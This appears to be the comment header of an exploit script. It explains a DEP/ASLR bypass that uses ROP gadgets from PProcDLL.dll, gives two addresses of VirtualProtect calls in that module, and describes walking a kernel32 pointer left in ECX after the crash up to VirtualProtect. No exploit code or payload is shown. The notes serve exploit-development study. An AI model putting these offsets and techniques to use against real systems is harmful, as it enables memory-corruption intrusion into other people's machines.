# A few notes:
# All DEP/ASLR bypass ROP code is from PProcDLL.dll (and assumes no ASLR on this module).
# 1.
# Calls to VirtualProtect (from pprocdll.dll) are found at:
# 0x1014717B : CALL DWORD PTR DS:[<&KERNEL32.VirtualProtect>]
# 0x101471F4 : CALL DWORD PTR DS:[<&KERNEL32.VirtualProtect>]
# 2.
# A kernel32 pointer is already sitting in ECX after the crash (on my test PC).
#
# For the sake of challenge and learning. I use ROP/static offsets to dynamically retrieve a kernel32 pointer
# from the stack/get it into a register. I then increase this value until it points at &Kernel32.VirtualProtect().
# The rest is just basic ROP/DEP (using the VirtualProtect() method).
